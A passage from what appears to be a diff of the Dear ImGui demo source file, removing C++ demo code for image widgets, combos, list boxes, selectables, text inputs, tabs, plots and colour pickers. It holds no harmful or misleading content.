via ImGui::GetWindowDrawList()->AddImage(). - // - Read https://github.com/ocornut/imgui/blob/master/docs/FAQ.md - // - Read https://github.com/ocornut/imgui/wiki/Image-Loading-and-Displaying-Examples - ImTextureID my_tex_id = io.Fonts->TexID; - float my_tex_w = (float)io.Fonts->TexWidth; - float my_tex_h = (float)io.Fonts->TexHeight; - { - ImGui::Text("%.0fx%.0f", my_tex_w, my_tex_h); - ImVec2 pos = ImGui::GetCursorScreenPos(); - ImVec2 uv_min = ImVec2(0.0f, 0.0f); // Top-left - ImVec2 uv_max = ImVec2(1.0f, 1.0f); // Lower-right - ImVec4 tint_col = ImVec4(1.0f, 1.0f, 1.0f, 1.0f); // No tint - ImVec4 border_col = ImVec4(1.0f, 1.0f, 1.0f, 0.5f); // 50% opaque white - ImGui::Image(my_tex_id, ImVec2(my_tex_w, my_tex_h), uv_min, uv_max, tint_col, border_col); - if (ImGui::IsItemHovered()) - { - ImGui::BeginTooltip(); - float region_sz = 32.0f; - float region_x = io.MousePos.x - pos.x - region_sz * 0.5f; - float region_y = io.MousePos.y - pos.y - region_sz * 0.5f; - float zoom = 4.0f; - if (region_x < 0.0f) { region_x = 0.0f; } - else if (region_x > my_tex_w - region_sz) { region_x = my_tex_w - region_sz; } - if (region_y < 0.0f) { region_y = 0.0f; } - else if (region_y > my_tex_h - region_sz) { region_y = my_tex_h - region_sz; } - ImGui::Text("Min: (%.2f, %.2f)", region_x, region_y); - ImGui::Text("Max: (%.2f, %.2f)", region_x + region_sz, region_y + region_sz); - ImVec2 uv0 = ImVec2((region_x) / my_tex_w, (region_y) / my_tex_h); - ImVec2 uv1 = ImVec2((region_x + region_sz) / my_tex_w, (region_y + region_sz) / my_tex_h); - ImGui::Image(my_tex_id, ImVec2(region_sz * zoom, region_sz * zoom), uv0, uv1, tint_col, border_col); - ImGui::EndTooltip(); - } - } - ImGui::TextWrapped("And now some textured buttons.."); - static int pressed_count = 0; - for (int i = 0; i < 8; i++) - { - ImGui::PushID(i); - int frame_padding = -1 + i; // -1 == uses default padding (style.FramePadding) - ImVec2 size = ImVec2(32.0f, 32.0f); // Size of the image we want to make visible - ImVec2 uv0 = ImVec2(0.0f, 0.0f); // UV coordinates for lower-left - ImVec2 uv1 = ImVec2(32.0f / my_tex_w, 32.0f / my_tex_h);// UV coordinates for (32,32) in our texture - ImVec4 bg_col = ImVec4(0.0f, 0.0f, 0.0f, 1.0f); // Black background - ImVec4 tint_col = ImVec4(1.0f, 1.0f, 1.0f, 1.0f); // No tint - if (ImGui::ImageButton(my_tex_id, size, uv0, uv1, frame_padding, bg_col, tint_col)) - pressed_count += 1; - ImGui::PopID(); - ImGui::SameLine(); - } - ImGui::NewLine(); - ImGui::Text("Pressed %d times.", pressed_count); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Combo")) - { - // Expose flags as checkbox for the demo - static ImGuiComboFlags flags = 0; - ImGui::CheckboxFlags("ImGuiComboFlags_PopupAlignLeft", &flags, ImGuiComboFlags_PopupAlignLeft); - ImGui::SameLine(); HelpMarker("Only makes a difference if the popup is larger than the combo"); - if (ImGui::CheckboxFlags("ImGuiComboFlags_NoArrowButton", &flags, ImGuiComboFlags_NoArrowButton)) - flags &= ~ImGuiComboFlags_NoPreview; // Clear the other flag, as we cannot combine both - if (ImGui::CheckboxFlags("ImGuiComboFlags_NoPreview", &flags, ImGuiComboFlags_NoPreview)) - flags &= ~ImGuiComboFlags_NoArrowButton; // Clear the other flag, as we cannot combine both - - // Using the generic BeginCombo() API, you have full control over how to display the combo contents. - // (your selection data could be an index, a pointer to the object, an id for the object, a flag intrusively - // stored in the object itself, etc.) - const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH", "IIII", "JJJJ", "KKKK", "LLLLLLL", "MMMM", "OOOOOOO" }; - static int item_current_idx = 0; // Here we store our selection data as an index. - const char* combo_label = items[item_current_idx]; // Label to preview before opening the combo (technically it could be anything) - if (ImGui::BeginCombo("combo 1", combo_label, flags)) - { - for (int n = 0; n < IM_ARRAYSIZE(items); n++) - { - const bool is_selected = (item_current_idx == n); - if (ImGui::Selectable(items[n], is_selected)) - item_current_idx = n; - - // Set the initial focus when opening the combo (scrolling + keyboard navigation focus) - if (is_selected) - ImGui::SetItemDefaultFocus(); - } - ImGui::EndCombo(); - } - - // Simplified one-liner Combo() API, using values packed in a single constant string - static int item_current_2 = 0; - ImGui::Combo("combo 2 (one-liner)", &item_current_2, "aaaa\0bbbb\0cccc\0dddd\0eeee\0\0"); - - // Simplified one-liner Combo() using an array of const char* - static int item_current_3 = -1; // If the selection isn't within 0..count, Combo won't display a preview - ImGui::Combo("combo 3 (array)", &item_current_3, items, IM_ARRAYSIZE(items)); - - // Simplified one-liner Combo() using an accessor function - struct Funcs { static bool ItemGetter(void* data, int n, const char** out_str) { *out_str = ((const char**)data)[n]; return true; } }; - static int item_current_4 = 0; - ImGui::Combo("combo 4 (function)", &item_current_4, &Funcs::ItemGetter, items, IM_ARRAYSIZE(items)); - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("List boxes")) - { - // Using the generic BeginListBox() API, you have full control over how to display the combo contents. - // (your selection data could be an index, a pointer to the object, an id for the object, a flag intrusively - // stored in the object itself, etc.) - const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH", "IIII", "JJJJ", "KKKK", "LLLLLLL", "MMMM", "OOOOOOO" }; - static int item_current_idx = 0; // Here we store our selection data as an index. - if (ImGui::BeginListBox("listbox 1")) - { - for (int n = 0; n < IM_ARRAYSIZE(items); n++) - { - const bool is_selected = (item_current_idx == n); - if (ImGui::Selectable(items[n], is_selected)) - item_current_idx = n; - - // Set the initial focus when opening the combo (scrolling + keyboard navigation focus) - if (is_selected) - ImGui::SetItemDefaultFocus(); - } - ImGui::EndListBox(); - } - - // Custom size: use all width, 5 items tall - ImGui::Text("Full-width:"); - if (ImGui::BeginListBox("##listbox 2", ImVec2(-FLT_MIN, 5 * ImGui::GetTextLineHeightWithSpacing()))) - { - for (int n = 0; n < IM_ARRAYSIZE(items); n++) - { - const bool is_selected = (item_current_idx == n); - if (ImGui::Selectable(items[n], is_selected)) - item_current_idx = n; - - // Set the initial focus when opening the combo (scrolling + keyboard navigation focus) - if (is_selected) - ImGui::SetItemDefaultFocus(); - } - ImGui::EndListBox(); - } - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Selectables")) - { - // Selectable() has 2 overloads: - // - The one taking "bool selected" as a read-only selection information. - // When Selectable() has been clicked it returns true and you can alter selection state accordingly. - // - The one taking "bool* p_selected" as a read-write selection information (convenient in some cases) - // The earlier is more flexible, as in real application your selection may be stored in many different ways - // and not necessarily inside a bool value (e.g. in flags within objects, as an external list, etc). - if (ImGui::TreeNode("Basic")) - { - static bool selection[5] = { false, true, false, false, false }; - ImGui::Selectable("1. I am selectable", &selection[0]); - ImGui::Selectable("2. I am selectable", &selection[1]); - ImGui::Text("3. I am not selectable"); - ImGui::Selectable("4. I am selectable", &selection[3]); - if (ImGui::Selectable("5. I am double clickable", selection[4], ImGuiSelectableFlags_AllowDoubleClick)) - if (ImGui::IsMouseDoubleClicked(0)) - selection[4] = !selection[4]; - ImGui::TreePop(); - } - if (ImGui::TreeNode("Selection State: Single Selection")) - { - static int selected = -1; - for (int n = 0; n < 5; n++) - { - char buf[32]; - sprintf(buf, "Object %d", n); - if (ImGui::Selectable(buf, selected == n)) - selected = n; - } - ImGui::TreePop(); - } - if (ImGui::TreeNode("Selection State: Multiple Selection")) - { - HelpMarker("Hold CTRL and click to select multiple items."); - static bool selection[5] = { false, false, false, false, false }; - for (int n = 0; n < 5; n++) - { - char buf[32]; - sprintf(buf, "Object %d", n); - if (ImGui::Selectable(buf, selection[n])) - { - if (!ImGui::GetIO().KeyCtrl) // Clear selection when CTRL is not held - memset(selection, 0, sizeof(selection)); - selection[n] ^= 1; - } - } - ImGui::TreePop(); - } - if (ImGui::TreeNode("Rendering more text into the same line")) - { - // Using the Selectable() override that takes "bool* p_selected" parameter, - // this function toggle your bool value automatically. - static bool selected[3] = { false, false, false }; - ImGui::Selectable("main.c", &selected[0]); ImGui::SameLine(300); ImGui::Text(" 2,345 bytes"); - ImGui::Selectable("Hello.cpp", &selected[1]); ImGui::SameLine(300); ImGui::Text("12,345 bytes"); - ImGui::Selectable("Hello.h", &selected[2]); ImGui::SameLine(300); ImGui::Text(" 2,345 bytes"); - ImGui::TreePop(); - } - if (ImGui::TreeNode("In columns")) - { - static bool selected[10] = {}; - - if (ImGui::BeginTable("split1", 3, ImGuiTableFlags_Resizable | ImGuiTableFlags_NoSavedSettings)) - { - for (int i = 0; i < 10; i++) - { - char label[32]; - sprintf(label, "Item %d", i); - ImGui::TableNextColumn(); - ImGui::Selectable(label, &selected[i]); // FIXME-TABLE: Selection overlap - } - ImGui::EndTable(); - } - ImGui::Separator(); - if (ImGui::BeginTable("split2", 3, ImGuiTableFlags_Resizable | ImGuiTableFlags_NoSavedSettings)) - { - for (int i = 0; i < 10; i++) - { - char label[32]; - sprintf(label, "Item %d", i); - ImGui::TableNextRow(); - ImGui::TableNextColumn(); - ImGui::Selectable(label, &selected[i], ImGuiSelectableFlags_SpanAllColumns); - ImGui::TableNextColumn(); - ImGui::Text("Some other contents"); - ImGui::TableNextColumn(); - ImGui::Text("123456"); - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - if (ImGui::TreeNode("Grid")) - { - static char selected[4][4] = { { 1, 0, 0, 0 }, { 0, 1, 0, 0 }, { 0, 0, 1, 0 }, { 0, 0, 0, 1 } }; - - // Add in a bit of silly fun... - const float time = (float)ImGui::GetTime(); - const bool winning_state = memchr(selected, 0, sizeof(selected)) == NULL; // If all cells are selected... - if (winning_state) - ImGui::PushStyleVar(ImGuiStyleVar_SelectableTextAlign, ImVec2(0.5f + 0.5f * cosf(time * 2.0f), 0.5f + 0.5f * sinf(time * 3.0f))); - - for (int y = 0; y < 4; y++) - for (int x = 0; x < 4; x++) - { - if (x > 0) - ImGui::SameLine(); - ImGui::PushID(y * 4 + x); - if (ImGui::Selectable("Sailor", selected[y][x] != 0, 0, ImVec2(50, 50))) - { - // Toggle clicked cell + toggle neighbors - selected[y][x] ^= 1; - if (x > 0) { selected[y][x - 1] ^= 1; } - if (x < 3) { selected[y][x + 1] ^= 1; } - if (y > 0) { selected[y - 1][x] ^= 1; } - if (y < 3) { selected[y + 1][x] ^= 1; } - } - ImGui::PopID(); - } - - if (winning_state) - ImGui::PopStyleVar(); - ImGui::TreePop(); - } - if (ImGui::TreeNode("Alignment")) - { - HelpMarker( - "By default, Selectables uses style.SelectableTextAlign but it can be overridden on a per-item " - "basis using PushStyleVar(). You'll probably want to always keep your default situation to " - "left-align otherwise it becomes difficult to layout multiple items on a same line"); - static bool selected[3 * 3] = { true, false, true, false, true, false, true, false, true }; - for (int y = 0; y < 3; y++) - { - for (int x = 0; x < 3; x++) - { - ImVec2 alignment = ImVec2((float)x / 2.0f, (float)y / 2.0f); - char name[32]; - sprintf(name, "(%.1f,%.1f)", alignment.x, alignment.y); - if (x > 0) ImGui::SameLine(); - ImGui::PushStyleVar(ImGuiStyleVar_SelectableTextAlign, alignment); - ImGui::Selectable(name, &selected[3 * y + x], ImGuiSelectableFlags_None, ImVec2(80, 80)); - ImGui::PopStyleVar(); - } - } - ImGui::TreePop(); - } - ImGui::TreePop(); - } - - // To wire InputText() with std::string or any other custom string type, - // see the "Text Input > Resize Callback" section of this demo, and the misc/cpp/imgui_stdlib.h file. - if (ImGui::TreeNode("Text Input")) - { - if (ImGui::TreeNode("Multi-line Text Input")) - { - // Note: we are using a fixed-sized buffer for simplicity here. See ImGuiInputTextFlags_CallbackResize - // and the code in misc/cpp/imgui_stdlib.h for how to setup InputText() for dynamically resizing strings. - static char text[1024 * 16] = - "/*\n" - " The Pentium F00F bug, shorthand for F0 0F C7 C8,\n" - " the hexadecimal encoding of one offending instruction,\n" - " more formally, the invalid operand with locked CMPXCHG8B\n" - " instruction bug, is a design flaw in the majority of\n" - " Intel Pentium, Pentium MMX, and Pentium OverDrive\n" - " processors (all in the P5 microarchitecture).\n" - "*/\n\n" - "label:\n" - "\tlock cmpxchg8b eax\n"; - - static ImGuiInputTextFlags flags = ImGuiInputTextFlags_AllowTabInput; - HelpMarker("You can use the ImGuiInputTextFlags_CallbackResize facility if you need to wire InputTextMultiline() to a dynamic string type. See misc/cpp/imgui_stdlib.h for an example. (This is not demonstrated in imgui_demo.cpp because we don't want to include in here)"); - ImGui::CheckboxFlags("ImGuiInputTextFlags_ReadOnly", &flags, ImGuiInputTextFlags_ReadOnly); - ImGui::CheckboxFlags("ImGuiInputTextFlags_AllowTabInput", &flags, ImGuiInputTextFlags_AllowTabInput); - ImGui::CheckboxFlags("ImGuiInputTextFlags_CtrlEnterForNewLine", &flags, ImGuiInputTextFlags_CtrlEnterForNewLine); - ImGui::InputTextMultiline("##source", text, IM_ARRAYSIZE(text), ImVec2(-FLT_MIN, ImGui::GetTextLineHeight() * 16), flags); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Filtered Text Input")) - { - struct TextFilters - { - // Return 0 (pass) if the character is 'i' or 'm' or 'g' or 'u' or 'i' - static int FilterImGuiLetters(ImGuiInputTextCallbackData* data) - { - if (data->EventChar < 256 && strchr("imgui", (char)data->EventChar)) - return 0; - return 1; - } - }; - - static char buf1[64] = ""; ImGui::InputText("default", buf1, 64); - static char buf2[64] = ""; ImGui::InputText("decimal", buf2, 64, ImGuiInputTextFlags_CharsDecimal); - static char buf3[64] = ""; ImGui::InputText("hexadecimal", buf3, 64, ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsUppercase); - static char buf4[64] = ""; ImGui::InputText("uppercase", buf4, 64, ImGuiInputTextFlags_CharsUppercase); - static char buf5[64] = ""; ImGui::InputText("no blank", buf5, 64, ImGuiInputTextFlags_CharsNoBlank); - static char buf6[64] = ""; ImGui::InputText("\"imgui\" letters", buf6, 64, ImGuiInputTextFlags_CallbackCharFilter, TextFilters::FilterImGuiLetters); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Password Input")) - { - static char password[64] = "password123"; - ImGui::InputText("password", password, IM_ARRAYSIZE(password), ImGuiInputTextFlags_Password); - ImGui::SameLine(); HelpMarker("Display all characters as '*'.\nDisable clipboard cut and copy.\nDisable logging.\n"); - ImGui::InputTextWithHint("password (w/ hint)", "", password, IM_ARRAYSIZE(password), ImGuiInputTextFlags_Password); - ImGui::InputText("password (clear)", password, IM_ARRAYSIZE(password)); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Completion, History, Edit Callbacks")) - { - struct Funcs - { - static int MyCallback(ImGuiInputTextCallbackData* data) - { - if (data->EventFlag == ImGuiInputTextFlags_CallbackCompletion) - { - data->InsertChars(data->CursorPos, ".."); - } - else if (data->EventFlag == ImGuiInputTextFlags_CallbackHistory) - { - if (data->EventKey == ImGuiKey_UpArrow) - { - data->DeleteChars(0, data->BufTextLen); - data->InsertChars(0, "Pressed Up!"); - data->SelectAll(); - } - else if (data->EventKey == ImGuiKey_DownArrow) - { - data->DeleteChars(0, data->BufTextLen); - data->InsertChars(0, "Pressed Down!"); - data->SelectAll(); - } - } - else if (data->EventFlag == ImGuiInputTextFlags_CallbackEdit) - { - // Toggle casing of first character - char c = data->Buf[0]; - if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')) data->Buf[0] ^= 32; - data->BufDirty = true; - - // Increment a counter - int* p_int = (int*)data->UserData; - *p_int = *p_int + 1; - } - return 0; - } - }; - static char buf1[64]; - ImGui::InputText("Completion", buf1, 64, ImGuiInputTextFlags_CallbackCompletion, Funcs::MyCallback); - ImGui::SameLine(); HelpMarker("Here we append \"..\" each time Tab is pressed. See 'Examples>Console' for a more meaningful demonstration of using this callback."); - - static char buf2[64]; - ImGui::InputText("History", buf2, 64, ImGuiInputTextFlags_CallbackHistory, Funcs::MyCallback); - ImGui::SameLine(); HelpMarker("Here we replace and select text each time Up/Down are pressed. See 'Examples>Console' for a more meaningful demonstration of using this callback."); - - static char buf3[64]; - static int edit_count = 0; - ImGui::InputText("Edit", buf3, 64, ImGuiInputTextFlags_CallbackEdit, Funcs::MyCallback, (void*)&edit_count); - ImGui::SameLine(); HelpMarker("Here we toggle the casing of the first character on every edits + count edits."); - ImGui::SameLine(); ImGui::Text("(%d)", edit_count); - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Resize Callback")) - { - // To wire InputText() with std::string or any other custom string type, - // you can use the ImGuiInputTextFlags_CallbackResize flag + create a custom ImGui::InputText() wrapper - // using your preferred type. See misc/cpp/imgui_stdlib.h for an implementation of this using std::string. - HelpMarker( - "Using ImGuiInputTextFlags_CallbackResize to wire your custom string type to InputText().\n\n" - "See misc/cpp/imgui_stdlib.h for an implementation of this for std::string."); - struct Funcs - { - static int MyResizeCallback(ImGuiInputTextCallbackData* data) - { - if (data->EventFlag == ImGuiInputTextFlags_CallbackResize) - { - ImVector* my_str = (ImVector*)data->UserData; - IM_ASSERT(my_str->begin() == data->Buf); - my_str->resize(data->BufSize); // NB: On resizing calls, generally data->BufSize == data->BufTextLen + 1 - data->Buf = my_str->begin(); - } - return 0; - } - - // Note: Because ImGui:: is a namespace you would typically add your own function into the namespace. - // For example, you code may declare a function 'ImGui::InputText(const char* label, MyString* my_str)' - static bool MyInputTextMultiline(const char* label, ImVector* my_str, const ImVec2& size = ImVec2(0, 0), ImGuiInputTextFlags flags = 0) - { - IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); - return ImGui::InputTextMultiline(label, my_str->begin(), (size_t)my_str->size(), size, flags | ImGuiInputTextFlags_CallbackResize, Funcs::MyResizeCallback, (void*)my_str); - } - }; - - // For this demo we are using ImVector as a string container. - // Note that because we need to store a terminating zero character, our size/capacity are 1 more - // than usually reported by a typical string class. - static ImVector my_str; - if (my_str.empty()) - my_str.push_back(0); - Funcs::MyInputTextMultiline("##MyStr", &my_str, ImVec2(-FLT_MIN, ImGui::GetTextLineHeight() * 16)); - ImGui::Text("Data: %p\nSize: %d\nCapacity: %d", (void*)my_str.begin(), my_str.size(), my_str.capacity()); - ImGui::TreePop(); - } - - ImGui::TreePop(); - } - - // Tabs - if (ImGui::TreeNode("Tabs")) - { - if (ImGui::TreeNode("Basic")) - { - ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_None; - if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags)) - { - if (ImGui::BeginTabItem("Avocado")) - { - ImGui::Text("This is the Avocado tab!\nblah blah blah blah blah"); - ImGui::EndTabItem(); - } - if (ImGui::BeginTabItem("Broccoli")) - { - ImGui::Text("This is the Broccoli tab!\nblah blah blah blah blah"); - ImGui::EndTabItem(); - } - if (ImGui::BeginTabItem("Cucumber")) - { - ImGui::Text("This is the Cucumber tab!\nblah blah blah blah blah"); - ImGui::EndTabItem(); - } - ImGui::EndTabBar(); - } - ImGui::Separator(); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Advanced & Close Button")) - { - // Expose a couple of the available flags. In most cases you may just call BeginTabBar() with no flags (0). - static ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_Reorderable; - ImGui::CheckboxFlags("ImGuiTabBarFlags_Reorderable", &tab_bar_flags, ImGuiTabBarFlags_Reorderable); - ImGui::CheckboxFlags("ImGuiTabBarFlags_AutoSelectNewTabs", &tab_bar_flags, ImGuiTabBarFlags_AutoSelectNewTabs); - ImGui::CheckboxFlags("ImGuiTabBarFlags_TabListPopupButton", &tab_bar_flags, ImGuiTabBarFlags_TabListPopupButton); - ImGui::CheckboxFlags("ImGuiTabBarFlags_NoCloseWithMiddleMouseButton", &tab_bar_flags, ImGuiTabBarFlags_NoCloseWithMiddleMouseButton); - if ((tab_bar_flags & ImGuiTabBarFlags_FittingPolicyMask_) == 0) - tab_bar_flags |= ImGuiTabBarFlags_FittingPolicyDefault_; - if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyResizeDown", &tab_bar_flags, ImGuiTabBarFlags_FittingPolicyResizeDown)) - tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyResizeDown); - if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyScroll", &tab_bar_flags, ImGuiTabBarFlags_FittingPolicyScroll)) - tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyScroll); - - // Tab Bar - const char* names[4] = { "Artichoke", "Beetroot", "Celery", "Daikon" }; - static bool opened[4] = { true, true, true, true }; // Persistent user state - for (int n = 0; n < IM_ARRAYSIZE(opened); n++) - { - if (n > 0) { ImGui::SameLine(); } - ImGui::Checkbox(names[n], &opened[n]); - } - - // Passing a bool* to BeginTabItem() is similar to passing one to Begin(): - // the underlying bool will be set to false when the tab is closed. - if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags)) - { - for (int n = 0; n < IM_ARRAYSIZE(opened); n++) - if (opened[n] && ImGui::BeginTabItem(names[n], &opened[n], ImGuiTabItemFlags_None)) - { - ImGui::Text("This is the %s tab!", names[n]); - if (n & 1) - ImGui::Text("I am an odd tab."); - ImGui::EndTabItem(); - } - ImGui::EndTabBar(); - } - ImGui::Separator(); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("TabItemButton & Leading/Trailing flags")) - { - static ImVector active_tabs; - static int next_tab_id = 0; - if (next_tab_id == 0) // Initialize with some default tabs - for (int i = 0; i < 3; i++) - active_tabs.push_back(next_tab_id++); - - // TabItemButton() and Leading/Trailing flags are distinct features which we will demo together. - // (It is possible to submit regular tabs with Leading/Trailing flags, or TabItemButton tabs without Leading/Trailing flags... - // but they tend to make more sense together) - static bool show_leading_button = true; - static bool show_trailing_button = true; - ImGui::Checkbox("Show Leading TabItemButton()", &show_leading_button); - ImGui::Checkbox("Show Trailing TabItemButton()", &show_trailing_button); - - // Expose some other flags which are useful to showcase how they interact with Leading/Trailing tabs - static ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_AutoSelectNewTabs | ImGuiTabBarFlags_Reorderable | ImGuiTabBarFlags_FittingPolicyResizeDown; - ImGui::CheckboxFlags("ImGuiTabBarFlags_TabListPopupButton", &tab_bar_flags, ImGuiTabBarFlags_TabListPopupButton); - if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyResizeDown", &tab_bar_flags, ImGuiTabBarFlags_FittingPolicyResizeDown)) - tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyResizeDown); - if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyScroll", &tab_bar_flags, ImGuiTabBarFlags_FittingPolicyScroll)) - tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyScroll); - - if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags)) - { - // Demo a Leading TabItemButton(): click the "?" button to open a menu - if (show_leading_button) - if (ImGui::TabItemButton("?", ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_NoTooltip)) - ImGui::OpenPopup("MyHelpMenu"); - if (ImGui::BeginPopup("MyHelpMenu")) - { - ImGui::Selectable("Hello!"); - ImGui::EndPopup(); - } - - // Demo Trailing Tabs: click the "+" button to add a new tab (in your app you may want to use a font icon instead of the "+") - // Note that we submit it before the regular tabs, but because of the ImGuiTabItemFlags_Trailing flag it will always appear at the end. - if (show_trailing_button) - if (ImGui::TabItemButton("+", ImGuiTabItemFlags_Trailing | ImGuiTabItemFlags_NoTooltip)) - active_tabs.push_back(next_tab_id++); // Add new tab - - // Submit our regular tabs - for (int n = 0; n < active_tabs.Size; ) - { - bool open = true; - char name[16]; - snprintf(name, IM_ARRAYSIZE(name), "%04d", active_tabs[n]); - if (ImGui::BeginTabItem(name, &open, ImGuiTabItemFlags_None)) - { - ImGui::Text("This is the %s tab!", name); - ImGui::EndTabItem(); - } - - if (!open) - active_tabs.erase(active_tabs.Data + n); - else - n++; - } - - ImGui::EndTabBar(); - } - ImGui::Separator(); - ImGui::TreePop(); - } - ImGui::TreePop(); - } - - // Plot/Graph widgets are not very good. - // Consider writing your own, or using a third-party one, see: - // - ImPlot https://github.com/epezent/implot - // - others https://github.com/ocornut/imgui/wiki/Useful-Widgets - if (ImGui::TreeNode("Plots Widgets")) - { - static bool animate = true; - ImGui::Checkbox("Animate", &animate); - - static float arr[] = { 0.6f, 0.1f, 1.0f, 0.5f, 0.92f, 0.1f, 0.2f }; - ImGui::PlotLines("Frame Times", arr, IM_ARRAYSIZE(arr)); - - // Fill an array of contiguous float values to plot - // Tip: If your float aren't contiguous but part of a structure, you can pass a pointer to your first float - // and the sizeof() of your structure in the "stride" parameter. - static float values[90] = {}; - static int values_offset = 0; - static double refresh_time = 0.0; - if (!animate || refresh_time == 0.0) - refresh_time = ImGui::GetTime(); - while (refresh_time < ImGui::GetTime()) // Create data at fixed 60 Hz rate for the demo - { - static float phase = 0.0f; - values[values_offset] = cosf(phase); - values_offset = (values_offset + 1) % IM_ARRAYSIZE(values); - phase += 0.10f * values_offset; - refresh_time += 1.0f / 60.0f; - } - - // Plots can display overlay texts - // (in this example, we will display an average value) - { - float average = 0.0f; - for (int n = 0; n < IM_ARRAYSIZE(values); n++) - average += values[n]; - average /= (float)IM_ARRAYSIZE(values); - char overlay[32]; - sprintf(overlay, "avg %f", average); - ImGui::PlotLines("Lines", values, IM_ARRAYSIZE(values), values_offset, overlay, -1.0f, 1.0f, ImVec2(0, 80.0f)); - } - ImGui::PlotHistogram("Histogram", arr, IM_ARRAYSIZE(arr), 0, NULL, 0.0f, 1.0f, ImVec2(0, 80.0f)); - - // Use functions to generate output - // FIXME: This is rather awkward because current plot API only pass in indices. - // We probably want an API passing floats and user provide sample rate/count. - struct Funcs - { - static float Sin(void*, int i) { return sinf(i * 0.1f); } - static float Saw(void*, int i) { return (i & 1) ? 1.0f : -1.0f; } - }; - static int func_type = 0, display_count = 70; - ImGui::Separator(); - ImGui::SetNextItemWidth(100); - ImGui::Combo("func", &func_type, "Sin\0Saw\0"); - ImGui::SameLine(); - ImGui::SliderInt("Sample count", &display_count, 1, 400); - float (*func)(void*, int) = (func_type == 0) ? Funcs::Sin : Funcs::Saw; - ImGui::PlotLines("Lines", func, NULL, display_count, 0, NULL, -1.0f, 1.0f, ImVec2(0, 80)); - ImGui::PlotHistogram("Histogram", func, NULL, display_count, 0, NULL, -1.0f, 1.0f, ImVec2(0, 80)); - ImGui::Separator(); - - // Animate a simple progress bar - static float progress = 0.0f, progress_dir = 1.0f; - if (animate) - { - progress += progress_dir * 0.4f * ImGui::GetIO().DeltaTime; - if (progress >= +1.1f) { progress = +1.1f; progress_dir *= -1.0f; } - if (progress <= -0.1f) { progress = -0.1f; progress_dir *= -1.0f; } - } - - // Typically we would use ImVec2(-1.0f,0.0f) or ImVec2(-FLT_MIN,0.0f) to use all available width, - // or ImVec2(width,0.0f) for a specified width. ImVec2(0.0f,0.0f) uses ItemWidth. - ImGui::ProgressBar(progress, ImVec2(0.0f, 0.0f)); - ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); - ImGui::Text("Progress Bar"); - - float progress_saturated = IM_CLAMP(progress, 0.0f, 1.0f); - char buf[32]; - sprintf(buf, "%d/%d", (int)(progress_saturated * 1753), 1753); - ImGui::ProgressBar(progress, ImVec2(0.f, 0.f), buf); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Color/Picker Widgets")) - { - static ImVec4 color = ImVec4(114.0f / 255.0f, 144.0f / 255.0f, 154.0f / 255.0f, 200.0f / 255.0f); - - static bool alpha_preview = true; - static bool alpha_half_preview = false; - static bool drag_and_drop = true; - static bool options_menu = true; - static bool hdr = false; - ImGui::Checkbox("With Alpha Preview", &alpha_preview); - ImGui::Checkbox("With Half Alpha Preview", &alpha_half_preview); - ImGui::Checkbox("With Drag and Drop", &drag_and_drop); - ImGui::Checkbox("With Options Menu", &options_menu); ImGui::SameLine(); HelpMarker("Right-click on the individual color widget to show options."); - ImGui::Checkbox("With HDR", &hdr); ImGui::SameLine(); HelpMarker("Currently all this does is to lift the 0..1 limits on dragging widgets."); - ImGuiColorEditFlags misc_flags = (hdr ? ImGuiColorEditFlags_HDR : 0) | (drag_and_drop ? 0 : ImGuiColorEditFlags_NoDragDrop) | (alpha_half_preview ? ImGuiColorEditFlags_AlphaPreviewHalf : (alpha_preview ? ImGuiColorEditFlags_AlphaPreview : 0)) | (options_menu ? 0 : ImGuiColorEditFlags_NoOptions); - - ImGui::Text("Color widget:"); - ImGui::SameLine(); HelpMarker( - "Click on the color square to open a color picker.\n" - "CTRL+click on individual component to input value.\n"); - ImGui::ColorEdit3("MyColor##1", (float*)&color, misc_flags); - - ImGui::Text("Color widget HSV with Alpha:"); - ImGui::ColorEdit4("MyColor##2", (float*)&color, ImGuiColorEditFlags_DisplayHSV | misc_flags); - - ImGui::Text("Color widget with Float Display:"); - ImGui::ColorEdit4("MyColor##2f", (float*)&color, ImGuiColorEditFlags_Float | misc_flags); - - ImGui::Text("Color button with Picker:"); - ImGui::SameLine(); HelpMarker( - "With the ImGuiColorEditFlags_NoInputs flag you can hide all the slider/text inputs.\n" - "With the ImGuiColorEditFlags_NoLabel flag you can pass a non-empty label which will only " - "be used for the tooltip and picker popup."); - ImGui::ColorEdit4("MyColor##3", (float*)&color, ImGuiColorEditFlags_NoInputs | ImGuiColorEditFlags_NoLabel | misc_flags); - - ImGui::Text("Color button with Custom Picker Popup:"); - - // Generate a default palette. The 